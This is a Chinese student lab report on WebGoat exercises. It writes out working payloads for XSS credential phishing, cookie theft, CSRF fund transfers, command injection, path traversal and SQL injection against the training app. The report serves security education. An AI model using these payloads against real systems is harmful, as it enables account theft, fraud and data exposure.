2017-2018 Exp9 網絡欺詐技術防範 20155214
Exp9 網絡欺詐技術防範
[TOC]
實驗內容
實驗環境
- 主機
Kali
實驗工具
- 平臺
webgoat
Webgoat
webgoat下載安裝
首先,下載地址:
https://s3.amazonaws.com/webgoat-war/webgoat-container-7.1-war-exec.jar
或者去github上也可以。
其次,cd切換到下載目錄:
root@kali:~/下載# java -jar webgoat-container-7.1-war-exec.jar
註意,webgoat服務器占用本地8080端口,需要先把該端口騰出來。
然後,訪問本地8080端口:
http://localhost:8080/WebGoat
選擇賬號登錄後即可開始練習,本次實驗要求完成10個練習。
- 要開始刷Web漏洞了,好激動啊
General
Http Basics
看得出這題應該是用來熟悉題型的,user可以嘗試hint,檢查request參數,前端代碼以及代理等,達到理解題目的目的。
- 既來之,hint之
1.Type in your name and press ‘go‘ 2.turn on Show Parameters or other features 3.Try to intercept the request with OWASP ZAP 4.Press the Show Lesson Plan button to view a lesson summary 5.Press the Show Solution button to view a lesson solution
- 在Enter your Name的
input
中輸點什麽,harry
吧,然後Go!
- 表面Congratulations.
input
框中已經如題所示反轉,變為了yrrah
f12打開源碼,可以看到表單提交的後臺函數
#attack/1869022003/100
與url顯示的相同然後
Show source
把後臺代碼貼上來了,在createContent(Websession s)中person = new StringBuffer(s.getParser().getStringParameter(PERSON, "")); //獲取前端Input值 person.reverse(); //反轉
之後就算入門了,正式開始做題
Access Control Flaws
Using an Access Control Matrix
- emmm..瀏覽題意,本題設計了一個
基於角色的權限控制
,並且Only the [Admin] group should have access to the ‘Account Manager‘ resource.
,所以要求我們嘗試獲得Admin權限。 - 粗略操作後發現,user表單中有4個用戶,其中
Shemp
屬於Admin
組,允許訪問Account Manager
而後,可以發現
Larry[User,Manager]
被錯誤的賦予權限,以致於可以訪問Account Manager
... if (!getRoles(user).contains("Admin") && resource.equals("Account Manager")) { makeSuccess(s); } s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource); //權限驗證代碼沒有問題 ... if (rl.contains(roles[1])) { list.add(resources[1]); list.add(resources[5]); }//roles[1]即Larry,resources[5]即Account Manager,此處權限賦予出現錯誤 ...
Bypass a Path Based Access Control Scheme
本題要求我們嘗試獲得權限以訪問list提供之外的文件,如
WEB-INF/spring-security.xml
Hint中提示可利用相對路徑訪問
Current Directory is: /root/.extract/webapps/WebGoat/plugin_extracted/plugin/BasicAuthentication/lessonPlans/en //在URL欄中輸入可以打開文件目錄,但只有BasicAuthentication.html一個文件
利用BurpSuite打開代理,點擊
view
之後攔截File=BasicAuthentication.html&SUBMIT=View+File
將File改為
../main.jsp
,forward
即可在頁面訪問,
Crossing-Site Scripting
Phishing with XSS
閱讀題意,在
Search
框中插入一段包括獲取信息的js腳本的HTML代碼,將獲取到的信息轉發到本地servlet。前端腳本見
知識點
成功後在頁面內插入了兩個
input
This feature requires account login:
Enter Username:
Enter Password:
No results were found.
輸入了WebGoat的賬號密碼後,彈出一個
alert
attack.?????? Your credentials were just stolen. User Name = webgoat Password = webgoat //用戶輸入的賬號信息已經被發給了本地服務器
Stored XSS Attacks
簡單瀏覽了一下,頁面將會把提交的Message發布處來,因此可以提交一段帶JS腳本的HTML文本。
嘗試一下
Title: 20155214 Message: <script>alert("It is a simple stored XSS");</script>
成功之後,在原本的位置
Message Contents For: 20155214 Title: 20155214 Message: Posted by: webgoat //Message為空,點開之後出現alert彈窗
Reflected XSS Attacks
閱讀題意,還是在
input
中添加一個JS腳本,當頁面執行HTML文本時執行。查看hint,利用以下代碼可以查看
cookie
<SCRIPT>alert(document.cookie);</SCRIPT>
以下跨站腳本攻擊通過調用
ActiveXObject
類,創建Xmlhttp
對象
,可以將charge修改為商品總和
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1){var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); document.write(str1);}</script>
The total charged to your credit card: $1997.96
Cross Site Request Forgery(CSRF)
閱讀題意,我們通過輸入一條,插入IMG的JS腳本,其URL地址指向
attack
的servlet在Message中,以下JS腳本插入了一張不存在的圖片
<img src=‘attack?Screen=2078372&menu=900&transferFunds=5000‘>
運行成功後,F12查看源碼,發現
Message
位置已經插入了該html文本,該url已經被執行。
CSRF Prompt By-Pass
- 閱讀題意,URL應該使用此CSRF-prompt-by-pass課程的屏幕,菜單參數和具有數字值(例如“5000”)的額外參數“transferFunds”來指向攻擊小服務程序,以啟動傳輸和字符串值“CONFIRM” 完成它。 您可以從右側的插圖復制課程參數,創建格式為“attack?Screen = XXX&menu = YYY&transferFunds = ZZZ”的網址。 誰收到這封電子郵件,恰好在當時被認證,將有資金轉移。
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=400"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
成功之後,可以看到在頁面上偽造了一個資金轉換的交互界面。
Amount to transfer: 400 CONFIRM | CANCEL
Injection Flaws
Command Injection
閱讀題意,嘗試向操作系統註入一個命令。
打開Burp Suite,抓一下包
HelpFile 修改為 AccessControlMatrix.help"&&"dir
-點擊
Go
,即可獲得<!-- Stop Instructions --><br>UserDatabase.mv.db webgoat-container-7.1-exec.jar ?? ??<br>VMwareTools-10.2.5-8068393.tar.gz ?? ?? ??<br>vmware-tools-distrib ?? ?? ??<br>Returncode: 0<br></pre></form></div>
Numeric SQL Injection
閱讀題意,要求我們修改頁面上的SQL語句,來使服務器連接數據庫輸出所有天氣信息
正常情況下,SQL語句會按照
station
條件查詢相關數據。
SELECT * FROM weather_data WHERE station = 101
因此要求很簡單,需要將數據庫中的所有信息輸出,刪去條件即可
打開Burp Suite,抓包會發現前端傳輸了
station
數據,因此我們將station=101&SUBMIT=Go! 修改為 station=101 or 1=1&SUBMIT=Go!
構成了新的SQL語句
SELECT * FROM weather_data WHERE station = 101 or 1=1
,即查詢條件為永真,輸出weather_data中的所有數據。
String SQL Injection
閱讀題意,手工設置SQL字符串註入,獲得SMITH的信用卡信息
註入字符串
‘ or ‘1‘=‘1
,構成新SQL語句ELECT * FROM user_data WHERE last_name = ‘‘ or ‘1‘=‘1
即條件為永真,搜索user_data中所有數據。
知識點
- XSS腳本
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
2017-2018 Exp9 網絡欺詐技術防範 20155214